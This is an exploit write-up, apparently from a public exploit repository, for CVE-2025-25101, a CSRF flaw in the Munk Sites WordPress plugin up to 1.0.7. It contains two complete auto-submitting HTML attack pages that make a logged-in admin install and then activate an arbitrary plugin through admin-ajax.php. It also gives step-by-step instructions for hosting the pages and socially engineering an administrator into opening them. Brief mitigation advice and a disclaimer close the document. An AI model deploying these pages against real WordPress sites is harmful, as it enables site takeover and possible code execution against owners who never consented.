# ? CVE-2025-25101 - WordPress Munk Sites Plugin <= 1.0.7 # ? CVE-2025-25101 - WordPress Munk Sites Plugin <= 1.0.7 - CSRF to Arbitrary Plugin Installation
## ? Overview
**CVE-2025-25101** is a **Cross-Site Request Forgery (CSRF)** vulnerability in the **MetricThemes Munk Sites** plugin for WordPress (versions ? **1.0.7**).
This vulnerability allows an **unauthenticated attacker** to **trick an admin into installing and activating arbitrary plugins**, potentially leading to **Remote Code Execution (RCE)** or **website compromise**.
## ? Affected Versions
- **Munk Sites Plugin** `<= 1.0.7`
- **WordPress** `Any version where the plugin is active`
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## ?? Security Rating (CVSS Score)
| Score | Severity | Version | Vector String |
|--------|----------|---------|--------------|
| **9.6** | ? **CRITICAL** | 3.1 | `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` |
## ? Exploit Description
### ?? How the Vulnerability Works:
The **CSRF flaw** in the **Munk Sites** plugin allows an attacker to force a logged-in **WordPress admin** to install and activate any WordPress plugin **without their consent**.
This is done by exploiting an **unprotected `admin-ajax.php` request** that lacks CSRF token verification.
### ? Exploit Workflow:
1. **The attacker crafts a malicious webpage containing the CSRF payload**.
2. **The victim (WordPress admin) visits the attacker's webpage**.
3. **The exploit silently sends requests to WordPress to install and activate an arbitrary plugin**.
4. **The plugin is installed and activated without any admin interaction**.
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## ? Exploit Code
### **1?? CSRF Exploit - Install Plugin**
**This payload forces the victim to install the `hello-world` plugin.**
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit - Plugin Installation</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
h1 { color: #d9534f; } h2 { color: #5bc0de; }
.output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
.success { color: #5cb85c; font-weight: bold; }
</style>
</head>
<body onload="document.forms[0].submit()">
<h1>? CVE-2025-25101</h1>
<h2>CSRF Exploit - Install 'Hello World' Plugin</h2>
<h3>? Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
<div class="output" id="output">? Installing plugin...</div>
<form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="cs_install_plugin">
<input type="hidden" name="plugin" value="hello-world">
</form>
<script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>? Plugin installed successfully!</span>"; }, 5000);</script>
</body>
</html>
```
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### **2?? CSRF Exploit - Activate Plugin**
**This payload forces the victim to activate the `hello-world` plugin.**
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit - Plugin Activation</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
h1 { color: #d9534f; } h2 { color: #f0ad4e; }
.output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
.success { color: #5cb85c; font-weight: bold; }
</style>
</head>
<body onload="document.forms[0].submit()">
<h1>? CVE-2025-25101</h1>
<h2>CSRF Exploit - Activate 'Hello World' Plugin</h2>
<h3>? Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
<div class="output" id="output">? Activating plugin...</div>
<form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="cs_active_plugin">
<input type="hidden" name="plugin" value="hello-world">
</form>
<script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>? Plugin activated successfully!</span>"; }, 5000);</script>
</body>
</html>
```
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## ? How to Use
1. **Host the malicious HTML files (`install.html` and `activate.html`) on an attacker-controlled server.**
2. **Social engineer a WordPress admin to visit `install.html`.**
3. **Once the plugin is installed, trick them into visiting `activate.html`.**
4. **The `hello-world` plugin will be installed and activated without admin consent!**
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## ? Mitigation
### ? How to Protect Your WordPress Site:
- **Upgrade to the latest version of the Munk Sites plugin** (if a patch is available).
- **Use a WordPress security plugin like Wordfence or Sucuri** to block CSRF attempts.
- **Restrict access to `admin-ajax.php`** using security rules in `.htaccess` or Nginx config.
- **Ensure that only authenticated and authorized users can install or activate plugins.**
- **Implement CSRF protection using `wp_nonce_field()` and `check_admin_referer()`.**
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## ? Disclaimer
?? **This exploit is for educational and security research purposes only.**
?? **Unauthorized use against systems without explicit permission is illegal.**
?? **The author is not responsible for any misuse of this code.**
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**_By: Nxploit | Khaled Alenazi_**
WordPress Munk Sites 1.0.7 Cross Site Request Forgery
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